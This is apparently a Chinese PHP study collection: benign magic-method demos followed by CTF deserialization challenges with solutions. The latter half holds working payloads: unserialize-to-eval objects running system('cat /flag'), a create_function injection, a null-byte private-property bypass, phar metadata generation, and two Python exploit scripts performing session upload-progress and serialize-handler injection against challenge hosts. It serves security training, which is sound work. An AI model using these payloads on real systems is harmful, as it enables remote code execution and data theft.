1
class Robot {
2
    // 实际存在的方法
3
    public function sayHi() {
4
        echo "你好！\n";
5
    }
6

7
    // 当调用不存在的方法时触发
8
    public function __call($name, $arguments) {
9
        echo "你尝试调用了一个不存在的方法：'{$name}'\n";
10
        echo "传入的参数有：";
11
        print_r($arguments);
12

13
        return "我是 __call 的返回值";
14
    }
15
}
16

17
$bot = new Robot();
18
$bot->sayHi(); // 正常调用
19

20
// 调用一个不存在的方法 'run'
21
$result = $bot->run("快速", 500);
22

23
echo $result;

1
<?php
2

3
class DB {
4
    // 假设这是我们实际执行查询的逻辑
5
    private static function runQuery($method, $args) {
6
        echo "【底层操作】正在执行查询逻辑...\n";
7
        echo "【动作】: {$method}\n";
8
        echo "【参数】: " . implode(', ', $args) . "\n";
9
    }
10

11
    // 魔法开始：处理所有静态调用
12
    public static function __callStatic($name, $arguments) {
13
        // 比如用户调用 DB::table('users')
14
        // $name 就是 'table'
15
        // $arguments 就是 ['users']
16

17
        self::runQuery($name, $arguments);
18

19
        // 很多时候这里会返回对象本身以支持链式调用，
20
        // 但这里为了演示，我们先返回一个确认信息。
21
        return "查询发送成功！";
22
    }
23
}
24

25
// 注意这里：类里面根本没有定义 table() 或 where() 方法
26
$status = DB::table('users', 'id', 1);
27

28
echo "【外部状态】" . $status;

1
public function __get(string $name): mixed

1
<?php
2

3
class User {
4
    private $username = "张三";
5
    private $score = 95;
6

7
    // 当外部尝试读取不可见属性时触发
8
    public function __get($name) {
9
        echo "【魔法触发】正在读取属性：'{$name}'\n";
10

11
        // 逻辑处理：只允许读取 username，不允许读取 score
12
        if ($name === 'username') {
13
            return $this->username;
14
        }
15

16
        return "【警告】该属性禁止访问或不存在！";
17
    }
18
}
19

20
$user = new User();
21

22
// 1. 尝试读取 private 属性 username
23
echo "用户姓名：" . $user->username . "\n";
24

25
echo "-----------------\n";
26

27
// 2. 尝试读取 private 属性 score
28
echo "用户分数：" . $user->score . "\n";

1
<?php
2

3
class User {
4
    private $age;
5
    private $data = []; // 用来存那些没定义的属性
6

7
    public function __set($name, $value) {
8
        echo "【安检启动】准备给 '{$name}' 赋值为 '{$value}'\n";
9

10
        if ($name === 'age') {
11
            // 逻辑过滤：年龄不能是负数，也不能太大
12
            if ($value < 0 || $value > 150) {
13
                echo "【拒绝】年龄不合法，赋值失败！\n";
14
                return; // 直接拦截，不写进属性
15
            }
16
            $this->age = $value; // 合法，写入私有属性
17
        } else {
18
            // 如果是其他没定义的属性，统一存进 data 数组里
19
            $this->data[$name] = $value;
20
        }
21
    }
22

23
    public function getAge() {
24
        return $this->age;
25
    }
26
}
27

28
$user = new User();
29

30
// 1. 尝试赋一个非法值
31
$user->age = -10;
32
// 输出：【安检启动】... 【拒绝】...
33

34
// 2. 尝试赋一个合法值
35
$user->age = 25;
36
echo "最终年龄：" . $user->getAge() . "\n";
37

38
// 3. 赋一个类里根本没写的属性
39
$user->hobby = "编程";
40
// 这会被存进 $data 数组里

1
<?php
2

3
class User {
4
    private $data = [
5
        'username' => '张三',
6
        'email' => '[email protected]'
7
    ];
8

9
    // 当外部对不可见属性调用 isset() 或 empty() 时触发
10
    public function __isset($name) {
11
        echo "【查岗】有人在打听属性 '{$name}' 是否存在...\n";
12

13
        // 检查这个名字是否在我们的私有数组里
14
        return isset($this->data[$name]);
15
    }
16
}
17

18
$user = new User();
19

20
// 1. username 是私有的，直接查会返回 false
21
// 但有了 __isset，它会去问 __isset("username")
22
if (isset($user->username)) {
23
    echo "结果：username 属性是存在的！\n";
24
} else {
25
    echo "结果：找不到这个属性。\n";
26
}
27

28
echo "-----------------\n";
29

30
// 2. 查一个完全不存在的属性
31
if (isset($user->age)) {
32
    echo "结果：age 存在。\n";
33
} else {
34
    echo "结果：age 不存在。\n";
35
}

1
<?php
2

3
class User {
4
    private $data = [
5
        'nickname' => '小明',
6
        'email' => '[email protected]'
7
    ];
8

9
    // 当外部对不可见属性调用 unset() 时触发
10
    public function __unset($name) {
11
        echo "【魔法启动】外界想删掉 '{$name}'，正在清理内存...\n";
12

13
        if (array_key_exists($name, $this->data)) {
14
            unset($this->data[$name]); // 真正从私有数组里删掉它
15
            echo "【成功】属性 '{$name}' 已被抹除。\n";
16
        } else {
17
            echo "【忽略】本来就没有 '{$name}'，啥也不用做。\n";
18
        }
19
    }
20

21
    public function showData() {
22
        print_r($this->data);
23
    }
24
}
25

26
$user = new User();
27

28
// 1. 看看现在的属性
29
$user->showData();
30

31
echo "-----------------\n";
32

33
// 2. 尝试删除私有模拟属性 nickname
34
unset($user->nickname);
35

36
// 3. 再次查看，nickname 已经没了
37
$user->showData();

1
<?php
2

3
class DatabaseConnector {
4
    public $host;
5
    public $user;
6
    private $password;
7
    private $conn; // 这是一个数据库连接资源
8

9
    public function __construct($host, $user, $password) {
10
        $this->host = $host;
11
        $this->user = $user;
12
        $this->password = $password;
13
        $this->connect();
14
    }
15

16
    private function connect() {
17
        echo "【连接】正在连接到数据库...\n";
18
        $this->conn = "Resource id #123"; // 模拟连接
19
    }
20

21
    // 魔法开始：打包前的准备
22
    public function __sleep() {
23
        echo "【魔法】对象准备序列化，正在清理资源...\n";
24

25
        // 我们只希望保存配置信息，不保存连接本身
26
        // 因为连接在反序列化后也是失效的
27
        return ['host', 'user', 'password'];
28
    }
29
}
30

31
$db = new DatabaseConnector('localhost', 'root', '123456');
32

33
// 执行序列化
34
$data = serialize($db);
35

36
echo "序列化后的结果：\n" . $data . "\n";

1
<?php
2

3
class DatabaseConnector {
4
    public $host;
5
    public $user;
6
    private $conn;
7

8
    public function __construct($host, $user) {
9
        $this->host = $host;
10
        $this->user = $user;
11
        $this->connect();
12
    }
13

14
    private function connect() {
15
        echo "【连接】正在建立数据库连接...\n";
16
        $this->conn = "Resource id #Active"; // 模拟连接动作
17
    }
18

19
    // 睡觉前：只需记住主机和用户名
20
    public function __sleep() {
21
        return ['host', 'user'];
22
    }
23

24
    // 醒来后：发现连接断了，赶紧重连
25
    public function __wakeup() {
26
        echo "【魔法】对象已苏醒，准备恢复连接...\n";
27
        $this->connect();
28
    }
29
}
30

31
// 1. 模拟序列化存储
32
$db = new DatabaseConnector('localhost', 'root');
33
$data = serialize($db);
34

35
echo "--- 模拟关闭程序并重新加载 ---\n";
36

37
// 2. 反序列化
38
$newDb = unserialize($data);

1
<?php
2

3
class User {
4
    public $username;
5
    private $password;
6

7
    public function __construct($username, $password) {
8
        $this->username = $username;
9
        $this->password = $password;
10
    }
11

12
    // 魔法开始：打包逻辑
13
    public function __serialize(): array {
14
        echo "【魔法】正在执行新版序列化...\n";
15

16
        // 你可以随心所欲地构建这个数组
17
        return [
18
            'user' => $this->username,
19
            // 甚至可以对数据加密后再存
20
            'pass' => base64_encode($this->password),
21
            'time' => time(), // 存一个类里根本没有的属性
22
            'ver'  => '1.0'
23
        ];
24
    }
25
}
26

27
$user = new User('Gemini', 'secret123');
28
$data = serialize($user);
29

30
echo "序列化结果：\n" . $data . "\n";

1
<?php
2

3
class User {
4
    public $username;
5
    private $password;
6
    public $restoreTime; // 记录一下它是啥时候复活的
7

8
    public function __construct($username, $password) {
9
        $this->username = $username;
10
        $this->password = $password;
11
    }
12

13
    // 1. 打包魔法（你刚才提供的）
14
    public function __serialize(): array {
15
        return [
16
            'user' => $this->username,
17
            'pass' => base64_encode($this->password), // 加密存储
18
            'time' => time(),
19
            'ver'  => '1.0'
20
        ];
21
    }
22

23
    // 2. 还原魔法（重点看这里）
24
    public function __unserialize(array $data): void {
25
        echo "【魔法】检测到 $data[ver] 版本的 DNA，开始克隆...\n";
26

27
        // 从数组里把数据“领”回来，重新赋值给属性
28
        $this->username = $data['user'];
29

30
        // 把 base64 加密过的数据还原回来
31
        $this->password = base64_decode($data['pass']);
32

33
        // 甚至可以利用数组里的额外信息做点别的
34
        $this->restoreTime = date('Y-m-d H:i:s', $data['time']);
35
    }
36

37
    public function showInfo() {
38
        echo "用户名：{$this->username}\n";
39
        echo "密码：{$this->password}\n";
40
        echo "打包时间：{$this->restoreTime}\n";
41
    }
42
}
43

44
// --- 实战演示 ---
45

46
// 1. 模拟一个序列化后的字符串（假设这是从数据库里读出来的）
47
$user = new User('Gemini', 'secret123');
48
$serializedData = serialize($user);
49

50
echo "--- 准备复活对象 ---\n";
51

52
// 2. 触发 __unserialize
53
$newUser = unserialize($serializedData);
54

55
echo "--- 复活成功，展示成果 ---\n";
56
$newUser->showInfo();

1
<?php
2

3
class Hero {
4
    private $name;
5
    private $level;
6

7
    public function __construct($name, $level) {
8
        $this->name = $name;
9
        $this->level = $level;
10
    }
11

12
    // 魔法开始：定义对象的“自我介绍”
13
    public function __toString() {
14
        // 逻辑：你可以根据对象的状态拼接任何字符串
15
        return "【英雄档案】姓名：{$this->name} | 当前等级：{$this->level}";
16
    }
17
}
18

19
$player = new Hero("亚索", 18);
20

21
// 1. 直接打印对象，触发魔法
22
echo $player . "\n";
23

24
// 2. 字符串拼接，同样触发
25
$message = "您的队友 " . $player . " 已上线。";
26
echo $message;

1
<?php
2

3
class Calculator {
4
    private $factor;
5

6
    public function __construct($factor) {
7
        $this->factor = $factor;
8
    }
9

10
    // 魔法开始：让对象变成一个“乘法器”
11
    public function __invoke($number) {
12
        echo "【魔法】对象正在像函数一样运行...\n";
13
        return $number * $this->factor;
14
    }
15
}
16

17
// 1. 实例化一个倍率为 5 的计算器
18
$triple = new Calculator(5);
19

20
// 2. 像调用函数一样调用对象！
21
$result = $triple(10);
22

23
echo "结果是：$result"; // 输出 50

1
$setup = new Config("Dark", "secret_key");
2
$code = var_export($setup, true);

1
<?php
2

3
class DatabaseConfig {
4
    public $host;
5
    public $user;
6
    private $password; // 注意：私有属性也能被导出
7

8
    public function __construct($host, $user, $password) {
9
        $this->host = $host;
10
        $this->user = $user;
11
        $this->password = $password;
12
    }
13

14
    /**
15
     * 核心魔法：当导出的代码被重新执行时，PHP 会调用这个静态方法
16
     */
17
    public static function __set_state($properties) {
18
        echo "【系统日志】检测到配置文件载入，正在通过 __set_state 还原对象...\n";
19

20
        // 这里的 $properties 包含了：
21
        // ['host' => '...', 'user' => '...', 'password' => '...']
22

23
        // 我们利用这些“零件”重新造出一个对象并返回
24
        return new DatabaseConfig(
25
            $properties['host'],
26
            $properties['user'],
27
            $properties['password']
28
        );
29
    }
30

31
    public function getConnectionInfo() {
32
        return "连接信息：{$this->user}@{$this->host} (密码已加密隐藏)";
33
    }
34
}
35

36
// --- 第一阶段：导出对象为“源代码” ---
37

38
$config = new DatabaseConfig('127.0.0.1', 'admin', 'top-secret-123');
39

40
// var_export 会生成一段 PHP 源代码字符串
41
$exportedCode = var_export($config, true);
42

43
echo "1. 对象已导出为 PHP 源代码：\n";
44
echo "---------------------------------\n";
45
echo $exportedCode . ";\n";
46
echo "---------------------------------\n\n";
47

48
/* 此时 $exportedCode 的内容大致如下（这就是存进缓存文件的内容）：
49
DatabaseConfig::__set_state(array(
50
   'host' => '127.0.0.1',
51
   'user' => 'admin',
52
   'password' => 'top-secret-123',
53
))
54
*/
55

56
// --- 第二阶段：存储与复活 ---
57

58
// 在实际项目中，你会把 $exportedCode 存入文件。这里我们用 eval 模拟载入过程。
59
echo "2. 模拟从缓存文件载入并执行代码...\n";
60
eval('$restoredConfig = ' . $exportedCode . ';');
61

62
// --- 第三阶段：验证结果 ---
63

64
echo "\n3. 验证复活后的对象：\n";
65
echo $restoredConfig->getConnectionInfo() . "\n";
66
echo "对象类名：" . get_class($restoredConfig) . "\n";

1
<?php
2

3
class Account {
4
    public $balance = 100;
5
}
6

7
class User {
8
    public $name;
9
    public $account; // 这是一个对象
10

11
    public function __construct($name) {
12
        $this->name = $name;
13
        $this->account = new Account();
14
    }
15

16
    /**
17
     * 魔法开始：定义克隆后的行为
18
     */
19
    public function __clone() {
20
        echo "【魔法】正在为 {$this->name} 的副本进行深拷贝...\n";
21

22
        // 关键一步：手动克隆子对象，确保副本拥有独立的账户
23
        // 如果不写这一行，原件和副本会共用同一个 Account 对象！
24
        $this->account = clone $this->account;
25
    }
26
}
27

28
// 1. 创建原件
29
$user1 = new User("张三");
30

31
// 2. 执行克隆
32
$user2 = clone $user1;
33
$user2->name = "李四";
34

35
// 3. 验证独立性
36
$user1->account->balance = 500; // 修改张三的余额
37

38
echo "张三的余额：{$user1->account->balance}\n"; // 500
39
echo "李四的余额：{$user2->account->balance}\n"; // 100 (不受张三影响)

1
<?php
2

3
class User {
4
    private $username;
5
    private $password; // 敏感数据
6
    private $hugeData; // 巨大的数据，不想在调试时刷屏
7

8
    public function __construct($username, $password) {
9
        $this->username = $username;
10
        $this->password = $password;
11
        $this->hugeData = range(1, 1000); // 模拟一个超大数组
12
    }
13

14
    /**
15
     * 魔法开始：自定义调试输出的内容
16
     */
17
    public function __debugInfo() {
18
        echo "【魔法】检测到正在进行 var_dump 调试，已开启隐私过滤...\n";
19

20
        // 返回一个你希望别人看到的数组
21
        return [
22
            'User_Name' => $this->username,
23
            'Password'  => '****** (已加密隐藏)', // 隐藏真实密码
24
            'Data_Count'=> count($this->hugeData), // 只显示数量，不显示内容
25
            'Status'    => 'Active'               // 甚至可以增加类里没有的动态信息
26
        ];
27
    }
28
}
29

30
$user = new User("Gemini", "p@ssw0rd123");
31

32
// 触发魔法
33
var_dump($user);

1
<?php
2
class a{
3
    var $act;
4
    function action(){
5
        eval($this->act);
6
    }
7
}
8
$exp = new a;
9
$exp->act = "system('cat /flag');";
10
echo urlencode(serialize($exp));
11
?>

1
<?php
2
class mylogin{
3
    var $user;
4
    var $pass;
5
}
6

7
$a=new mylogin();
8
$a->user="daydream";
9
$a->pass="ok";
10

11
echo urlencode(serialize($a));
12
?>

1
<?php
2
class func {
3
    public $key;
4
}
5

6
class GetFlag {
7
    public $code;
8
    public $action;
9
}
10
$b = new GetFlag();
11
$b->action = "create_function";
12
$b->code = '} include("flag.php"); echo $flag; //';
13
$a = new func();
14
$a->key = serialize(array($b, "get_flag"));
15

16
echo urlencode(serialize($a));
17
?>

1
<?php
2
include("flag.php");
3
highlight_file(__FILE__);
4
class secret{
5
    private $comm;
6
    public function __construct($com){
7
        $this->comm = $com;
8
    }
9
    function __destruct(){
10
        echo eval($this->comm);
11
    }
12
}
13
$param=$_GET['param'];
14
$param=str_replace("%","daydream",$param);
15
unserialize($param);
16
?>

1
<?php
2
class secret {
3
    private $comm;
4
    public function __construct($com) {
5
        $this->comm = $com;
6
    }
7
}
8

9
$cmd = "system('cat /flag');";
10
$obj = new secret($cmd);
11
$ser = serialize($obj);
12
echo $ser;
13

14
$payload = str_replace('s:12:"' . "\x00secret\x00comm", 'S:12:"\\00secret\\00comm', $ser); #\x00要换成\\00
15

16
echo $payload . "\n";
17
?>

1
<?php
2
highlight_file(__FILE__);
3
class TestObject {
4
    public function __destruct() {
5
        include('flag.php');
6
        echo $flag;
7
    }
8
}
9
$filename = $_POST['file'];
10
$boo1=1;
11
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
12
foreach($black_list as $item){
13
    $front=substr($filename,0,strlen($item));
14
    if ($front==$item){
15
        $boo1=0;
16
    }
17
}
18
if (isset($filename) and $boo1){
19
    echo md5_file($filename);
20
}
21
//upload.php
22
?>
23
<br><a href="../level13">点击进入第十三关</a>
24
点击进入第十三关

1
<?php
2
class TestObject {
3
}
4

5
$phar = new Phar("exp.phar"); #创建一个名为 exp.phar 的新 Phar 归档文件对象。
6
$phar->startBuffering(); #开始缓冲。这允许程序在一次性写入磁盘之前，对 Phar 文件进行多次修改。
7
$phar->setStub("<?php __HALT_COMPILER(); ?>"); #设置 Stub（存根）。这是 Phar 文件的固定格式，必须以 __HALT_COMPILER(); 结尾，否则 PHP 不会将其识别为 Phar 文件。
8

9

10
$obj = new TestObject();
11
$phar->setMetadata($obj); #将对象 $obj 存入 Phar 文件的元数据（Metadata）中。Phar 存储元数据时会自动调用 serialize() 进行序列化。
12

13
$phar->addFromString("test.txt", "test");  #向压缩包内添加一个名为 test.txt 的文件，内容为 "test"。满足 Phar 文件的基本结构要求。
14
$phar->stopBuffering(); #停止缓冲并将所有更改写入磁盘上的 exp.phar 文件。
15
?>

1
<?php
2
highlight_file(__FILE__);
3

4
$c = unserialize($_GET['param']);
5
$c -> daydream();
6

7
/*
8
In this topic,it is of course possible to pass parameters directly to flag.php, but it is not recommended to use this method to learn SOAP.
9
flag.php
10
$flag="*";
11
$user=$_SERVER['HTTP_USER_AGENT'];
12
$pass = $_POST['pass'];
13
if(isset($pass) and isset($user)){
14
    if($pass=='password' and $user=='admin'){
15
        file_put_contents('flag.txt',$flag);
16
    }
17
}
18
*/
19
?>
20
<br><a href="../level1">点击进入第十一关</a>
21
Fatal error: Call to a member function daydream() on boolean in /var/www/html/index.php on line 5

1
if(isset($pass) and isset($user)){
2
    if($pass=='password' and $user=='admin'){
3
        file_put_contents('flag.txt',$flag);
4
    }
5
}

1
$user=$_SERVER['HTTP_USER_AGENT'];
2
$pass = $_POST['pass'];

1
<?php
2
include("flag.php");
3
highlight_file(__FILE__);
4
ini_set('session.serialize_handler', 'php_serialize');
5
session_start();
6
$_SESSION['a'] = $_GET['a'];
7
?>

1
#!/usr/bin/env python3
2
import random
3
import re
4
import string
5
import sys
6
from urllib.parse import urljoin
7

8
import requests
9

10

11
def build_sid(prefix="ctf"):
12
    chars = string.ascii_lowercase + string.digits
13
    return prefix + "".join(random.choice(chars) for _ in range(16))
14

15

16
def normalize_base(base):
17
    if not base.startswith("http://") and not base.startswith("https://"):
18
        base = "http://" + base
19
    return base.rstrip("/") + "/"
20

21

22
def extract_flag(text):
23
    patterns = [
24
        r"Geesec\{[^\r\n<]{1,200}\}",
25
        r"flag\{[^\r\n<]{1,200}\}",
26
        r"ctf\{[^\r\n<]{1,200}\}",
27
        r"[A-Za-z0-9_\-]*\{[0-9a-fA-F\-]{16,}\}",
28
    ]
29
    for p in patterns:
30
        m = re.search(p, text, flags=re.I)
31
        if m:
32
            return m.group(0)
33
    return None
34

35

36
def main():
37
    base = (
38
        sys.argv[1]
39
        if len(sys.argv) > 1
40
        else "http://80-f09dbe82-da40-4ad5-bc59-923978604ab2.challenge.ctfplus.cn"
41
    )
42
    base = normalize_base(base)
43

44
    injection_path = "hint.php"
45
    trigger_path = "index.php"
46
    payload = '|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}'
47

48
    sid = build_sid()
49
    injection_url = urljoin(base, injection_path)
50
    trigger_url = urljoin(base, trigger_path)
51

52
    s = requests.Session()
53
    s.headers.update(
54
        {
55
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
56
            # 关键：即使服务端报 headers already sent，也能固定同一个 session
57
            "Cookie": f"PHPSESSID={sid}",
58
        }
59
    )
60

61
    print(f"[*] Base URL      : {base}")
62
    print(f"[*] Injection URL : {injection_url}")
63
    print(f"[*] Trigger URL   : {trigger_url}")
64
    print(f"[*] PHPSESSID     : {sid}")
65

66
    try:
67
        r1 = s.get(injection_url, params={"a": payload}, timeout=15)
68
        print(f"[+] Inject request sent, status={r1.status_code}, len={len(r1.text)}")
69
    except Exception as e:
70
        print(f"[-] Injection failed: {e}")
71
        sys.exit(1)
72

73
    try:
74
        r2 = s.get(trigger_url, timeout=15)
75
        print(f"[+] Trigger request sent, status={r2.status_code}, len={len(r2.text)}")
76
    except Exception as e:
77
        print(f"[-] Trigger failed: {e}")
78
        sys.exit(1)
79

80
    flag = extract_flag(r2.text)
81
    if flag:
82
        print(f"[+] FLAG FOUND: {flag}")
83
        sys.exit(0)
84

85
    print("[-] Flag not found in response.")
86
    print("[i] Debug tail (last 800 chars):")
87
    tail = r2.text[-800:]
88
    print(tail)
89
    sys.exit(2)
90

91

92
if __name__ == "__main__":
93
    main()

1
<?php
2
highlight_file(__FILE__);
3
ini_set('session.serialize_handler', 'php');
4
session_start();
5

6
class test{
7
    public $name;
8
    function __destruct(){
9
        if($this->name=='flag'){
10
            include('flag.php');
11
            echo $flag;
12
        }
13
        else{
14
            phpinfo();
15
        }
16
    }
17
}

1
靶机接受上传（`multipart/form-data`），PHP 会处理 `PHP_SESSION_UPLOAD_PROGRESS` 并把其值拼进 session key。

1
import argparse
2
import re
3
import sys
4
import uuid
5
from urllib import request
6
from urllib.parse import urlparse
7

8
DEFAULT_URL = "http://80-edea7259-899b-45a2-8712-f1ec19640939.challenge.ctfplus.cn/"
9
PAYLOAD = 'a|O:4:"test":1:{s:4:"name";s:4:"flag";}x'
10
FLAG_RE = re.compile(r"[A-Za-z][A-Za-z0-9_]*\{[^{}\r\n<>]{4,200}\}")
11

12

13
def normalize_url(url: str) -> str:
14
    url = url.strip()
15
    if not url.startswith(("http://", "https://")):
16
        url = "http://" + url
17
    if not url.endswith("/"):
18
        url += "/"
19
    return url
20

21

22
def make_multipart(fields, file_field_name="file", filename="a.txt", file_bytes=b"12345"):
23
    boundary = "----CodexBoundary" + uuid.uuid4().hex
24
    lines = []
25
    for k, v in fields.items():
26
        lines.append(f"--{boundary}\r\n".encode())
27
        lines.append(
28
            f'Content-Disposition: form-data; name="{k}"\r\n\r\n{v}\r\n'.encode()
29
        )
30

31
    lines.append(f"--{boundary}\r\n".encode())
32
    lines.append(
33
        (
34
            f'Content-Disposition: form-data; name="{file_field_name}"; '
35
            f'filename="{filename}"\r\n'
36
            "Content-Type: application/octet-stream\r\n\r\n"
37
        ).encode()
38
    )
39
    lines.append(file_bytes)
40
    lines.append(b"\r\n")
41
    lines.append(f"--{boundary}--\r\n".encode())
42

43
    body = b"".join(lines)
44
    content_type = f"multipart/form-data; boundary={boundary}"
45
    return body, content_type
46

47

48
def http_post(url, sid, payload, timeout=10):
49
    body, content_type = make_multipart({"PHP_SESSION_UPLOAD_PROGRESS": payload})
50
    req = request.Request(url=url, data=body, method="POST")
51
    req.add_header("Content-Type", content_type)
52
    req.add_header("Cookie", f"PHPSESSID={sid}")
53
    req.add_header("Connection", "close")
54
    with request.urlopen(req, timeout=timeout) as resp:
55
        return resp.read().decode("utf-8", errors="ignore")
56

57

58
def http_get(url, sid, timeout=10):
59
    req = request.Request(url=url, method="GET")
60
    req.add_header("Cookie", f"PHPSESSID={sid}")
61
    req.add_header("Connection", "close")
62
    with request.urlopen(req, timeout=timeout) as resp:
63
        return resp.read().decode("utf-8", errors="ignore")
64

65

66
def find_flag(text: str):
67
    m = FLAG_RE.search(text)
68
    return m.group(0) if m else None
69

70

71
def run(target: str):
72
    target = normalize_url(target)
73
    parsed = urlparse(target)
74
    if not parsed.netloc:
75
        raise ValueError(f"invalid target url: {target}")
76

77
    sid = "sid" + uuid.uuid4().hex[:12]
78
    print(f"[*] target = {target}")
79
    print(f"[*] PHPSESSID = {sid}")
80

81
    post_html = http_post(target, sid, PAYLOAD)
82
    flag = find_flag(post_html)
83
    if flag:
84
        print(f"[+] FLAG = {flag}")
85
        return 0
86

87
    get_html = http_get(target, sid)
88
    flag = find_flag(get_html)
89
    if flag:
90
        print(f"[+] FLAG = {flag}")
91
        return 0
92

93
    print("[-] flag not found")
94
    if "Failed to decode session object" in post_html or "Failed to decode session object" in get_html:
95
        print("[-] hint: payload may be malformed or filtered")
96
    return 1
97

98

99
def main():
100
    parser = argparse.ArgumentParser(
101
        description="Exploit PHP session upload progress injection to trigger test::__destruct()."
102
    )
103
    parser.add_argument("-u", "--url", default=DEFAULT_URL, help="target base url")
104
    args = parser.parse_args()
105

106
    try:
107
        code = run(args.url)
108
    except Exception as exc:
109
        print(f"[!] error: {exc}")
110
        code = 2
111
    sys.exit(code)
112

113

114
if __name__ == "__main__":
115
    main()